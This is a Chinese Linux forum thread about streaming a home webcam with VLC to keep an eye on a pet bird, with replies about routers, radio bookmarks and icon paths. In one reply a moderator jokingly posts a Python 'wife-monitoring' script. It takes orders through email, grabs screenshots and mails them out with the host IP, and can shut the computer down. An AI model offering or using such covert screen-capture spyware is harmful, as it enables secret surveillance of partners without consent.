远程监控家里的小鸟(这里好冷清)

Ubuntu各种衍生版本
回复
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

远程监控家里的小鸟(这里好冷清)

#1

帖子 highwind » 2014-01-14 12:30

:em06 这个版块好冷清,写点东西热闹热闹。

最近养了只小鸟,叫豆豆。现在过着吃饭睡觉逗豆豆的快乐生活。不过女朋友又说要养只小猫,估计会叫煤球,这让我对豆豆未来的日子好担忧啊。
怎么办,就想在家里架个监控头,看看吧,虽然真出事了也没办法,毕竟还可以聊以自慰吧。

远程视频监控有卖dropcam系统的,不想花这个钱,就只想用用电脑的摄像头。
查网上https://linuxtoy.org/archives/linux-camera-monitor.html有三套方案:
motion:问题不大;
webcam-server:还没试过;
zoneminder:和我的Mint16(Ubuntu13.10)配置出现甚多问题,但最后还是成功启动了,天啊,装了一大堆的apache和php组件。
最后还发现vlc的stream也很好用:

代码: 全选

#!/bin/sh 
#broadcast via VLC at ip:9090/bird-surveillance.ogg
 cvlc v4l2:///dev/video0 :v4l2-standard= :input-slave=alsa://hw:0,0 :live-caching=300 :sout="#transcode{vcodec=WMV2,vb=800,scale=1,acodec=wma2,ab=128,channels=2,samplerate=44100}:http{dst=:9090/bird-surveillance.ogg}" 
但是所谓的成功最后反应过来只不过是在内网内成功,回单位一看,才反应过来原来还要把家里的路由器外网映射ip。麻烦啊,airport express在linux下的配置程序,不仅和新JAVA配合不好而且貌似启动了也找不到设备,只好换女朋友的机器映射好,明天再去看看效果。
头像
灰色小狼
帖子: 4585
注册时间: 2008-12-06 10:38
系统: Arch

Re: 远程监控家里的小鸟(这里好冷清)

#2

帖子 灰色小狼 » 2014-01-14 13:32

在养条狗就好了 :em05
头像
luojie-dune
帖子: 22033
注册时间: 2007-07-30 18:28
系统: Linux
来自: 空气中

Re: 远程监控家里的小鸟(这里好冷清)

#3

帖子 luojie-dune » 2014-01-14 14:16

Nokia N900 streaming
『这个世界都是我的 ,我爱你们』

ENTP ⥂ INTP ⥄ INFP ⇦ INTJ

在此发布的文章使用 Creative Commons Attribution-ShareAlike 4.0 协议
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

Re: 远程监控家里的小鸟(这里好冷清)

#4

帖子 highwind » 2014-01-15 0:19

luojie-dune 写了:Nokia N900 streaming
也要千把块钱哪。

BTW,试验成功 ,可以看了 :em11
当然播放的时候调整cache和stream filter还是很有必要的,不然会播放一会儿就自动断开了。
头像
luojie-dune
帖子: 22033
注册时间: 2007-07-30 18:28
系统: Linux
来自: 空气中

Re: 远程监控家里的小鸟(这里好冷清)

#5

帖子 luojie-dune » 2014-01-15 0:40

千元?不过200吧。
『这个世界都是我的 ,我爱你们』

ENTP ⥂ INTP ⥄ INFP ⇦ INTJ

在此发布的文章使用 Creative Commons Attribution-ShareAlike 4.0 协议
头像
rapistor
帖子: 1983
注册时间: 2009-01-19 15:09

Re: 远程监控家里的小鸟(这里好冷清)

#6

帖子 rapistor » 2014-01-17 22:39

搞个路由刷个op就行了,还天天开电脑,晕。 :em20
坚守在linux的天堂!
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

Re: 远程监控家里的小鸟(这里好冷清)

#7

帖子 highwind » 2014-01-18 1:54

rapistor 写了:搞个路由刷个op就行了,还天天开电脑,晕。 :em20
op是什么? :em20 openwrt 吗?
可不为了省事嘛,而且还要去买路由。。。
头像
iamfbi
帖子: 1081
注册时间: 2009-02-06 9:18
来自: 小僧乃吐蕃国大雪山大轮寺护国法师座下四大护法之西域妖僧是也

Re: 远程监控家里的小鸟(这里好冷清)

#8

帖子 iamfbi » 2014-01-18 11:33

田亮女儿的笑话,吃饭睡觉打豆豆?
Laptop: i5-460m hm55 4g 320g hd5470 14'led 2.3kg (acer 4738g)
Windows XP 7 8 all in one partition.
Ubuntu 10.04 LTS
Mac OS X 10.6.7
折腾笔记
论坛随手记
头像
iamfbi
帖子: 1081
注册时间: 2009-02-06 9:18
来自: 小僧乃吐蕃国大雪山大轮寺护国法师座下四大护法之西域妖僧是也

Re: 远程监控家里的小鸟(这里好冷清)

#9

帖子 iamfbi » 2014-01-18 11:33

田亮女儿的笑话,吃饭睡觉打豆豆?
Laptop: i5-460m hm55 4g 320g hd5470 14'led 2.3kg (acer 4738g)
Windows XP 7 8 all in one partition.
Ubuntu 10.04 LTS
Mac OS X 10.6.7
折腾笔记
论坛随手记
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

Re: 远程监控家里的小鸟(这里好冷清)

#10

帖子 highwind » 2014-01-18 11:47

iamfbi 写了:田亮女儿的笑话,吃饭睡觉打豆豆?
:em06 换是那只猫,大概正好是。
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

Re: 远程监控家里的小鸟(这里好冷清)

#11

帖子 highwind » 2014-01-19 6:48

Mint上那个RadioTray的applet,满好用的,尤其是在人不在家的时候,豆豆最喜欢听了。

附送bookmark

代码: 全选

 <group name="Animal">
	<bookmark name="BirdSong" url="http://monkey.wavestreamer.com:1156/Live.mp4"/>
	<bookmark name="Summer Breeze" url="http://moon.wavestreamer.com:5066/stream/1/"/>
	<bookmark name="Snowy Day" url="http://majestic.wavestreamer.com:1385/stream/1/"/>
	<bookmark name="Rainforest Downpour" url="http://stereo.wavestreamer.com:7380/stream/1/"/>
	<bookmark name="Summer Rain" url="http://moon.wavestreamer.com:4583/stream/1/"/>
</group>
上次由 highwind 在 2014-01-21 10:37,总共编辑 1 次。
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

Re: 远程监控家里的小鸟(这里好冷清)

#12

帖子 highwind » 2014-01-21 10:35

说来这个RaidoTray在Panel上的图标藏得够深啊

代码: 全选

locate radiotray | grep .png

代码: 全选

/usr/share/icons/Mint-X/apps/16/radiotray.png
/usr/share/icons/Mint-X/apps/22/radiotray.png
/usr/share/icons/Mint-X/apps/24/radiotray.png
/usr/share/icons/Mint-X/apps/32/radiotray.png
/usr/share/icons/Mint-X/apps/48/radiotray.png
/usr/share/icons/Mint-X/status/22/radiotray_connecting.png
/usr/share/icons/Mint-X/status/22/radiotray_off.png
/usr/share/icons/Mint-X/status/22/radiotray_on.png
/usr/share/icons/Mint-X/status/24/radiotray_connecting.png
/usr/share/icons/Mint-X/status/24/radiotray_off.png
/usr/share/icons/Mint-X/status/24/radiotray_on.png
/usr/share/pixmaps/radiotray.png
/usr/share/radiotray/images/radiotray.png
/usr/share/radiotray/images/radiotray_connecting.png
/usr/share/radiotray/images/radiotray_off.png
/usr/share/radiotray/images/radiotray_on.png
要改的居然是这两个条目:

代码: 全选

/usr/share/icons/Mint-X/status/24/radiotray_off.png
/usr/share/icons/Mint-X/status/24/radiotray_on.png
哎,为啥不能把这种设置放在/Home下嘛!~ :em06
头像
highwind
帖子: 1362
注册时间: 2008-09-05 23:31
系统: LinuxMint17

Re: 远程监控家里的小鸟(这里好冷清)

#13

帖子 highwind » 2014-05-07 11:04

在线视频大法:

https://talky.io
https://www.gruveo.com
http://apprtc.appspot.com/

直接这样也行。 :em05
头像
月下叹逍遥
论坛版主
帖子: 33994
注册时间: 2010-10-07 14:23
系统: Archdows10
来自: 某系某星某洲某国某省某市
联系:

Re: 远程监控家里的小鸟(这里好冷清)

#14

帖子 月下叹逍遥 » 2014-05-07 11:13

[python]import os
import urllib
import socket
import smtplib
import time
import mimetypes
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import PIL
from PIL import Image,ImageGrab
import poplib,email
from email.header import decode_header
import sys
def accpmail():
try:
p=poplib.POP3('pop.126.com')
p.user("youemail@126.com")
p.pass_('yourpassword')
ret = p.stat()
except poplib.error_proto,e:
print "Login failed:",e
return "fail"
print "Login succeeded"
mailnum=ret[0]
down=p.retr(mailnum)
for i in down[1]:
if i.find("Subject:")==0:
cmdstr=i
print cmdstr
break
p.quit()
return cmdstr


def getip():
localip = socket.gethostbyname(socket.gethostname())
msg = MIMEMultipart()
msg['From']="from.com"
msg['To']="to@126.com"
msg['Subject']= "email for testing"

txt = MIMEText("this is content of email ,host IP:"+localip)
msg.attach(txt)
im = ImageGrab.grab()
im.save("d:\sketch.png")
fileName = "d:\sketch.png"
ctype,encoding = mimetypes.guess_type(fileName)
if ctype is None or encoding is not None:
ctype = "application/octet-stream"
maintype,subtype = ctype.split('/',1)
att1 = MIMEImage((lambda f: (f.read(), f.close()))(open(fileName, 'rb'))[0], _subtype = subtype)
att1.add_header('Content-Disposition','attachment',filename=fileName)
msg.attach(att1)

smtp = smtplib.SMTP()
smtp.connect("smtp.qq.com","25")
smtp.login("youremail@qq.com","yourpassword")
smtp.sendmail("youremail@qq.com","youremail@126.com",msg.as_string())
smtp.quit()

def test2():
try:
sc=urllib.urlopen("http://www.baidu.com")
except IOError:
return False
return True

def dothat():
while True:
cmdstr=accpmail()
if test2()==True:
if cmdstr!="fail":
if cmdstr.find("start")!=-1:
getip()
time.sleep(10)
getip()
time.sleep(10)
getip()
time.sleep(10)
elif cmdstr.find("shutdown")!=-1:
os.system("shutdown -s")
elif cmdstr.find("stop")!=-1:
continue
elif cmdstr.find("quit")!=-1:
break
else:
time.sleep(10)
continue
else:
time.sleep(60)

dothat()

[/python]
监控媳妇脚本 :em05 :em05 :em05
浮生七十今三十,从此凄惶未可知
头像
eexpress
帖子: 58428
注册时间: 2005-08-14 21:55
来自: 长沙

Re: 远程监控家里的小鸟(这里好冷清)

#15

帖子 eexpress » 2014-05-07 11:38

我记得手机上就有一个软件,我应该发过,只是现在删除了。远程机器安装一个服务端,手机一个客户端。
● 鸣学
回复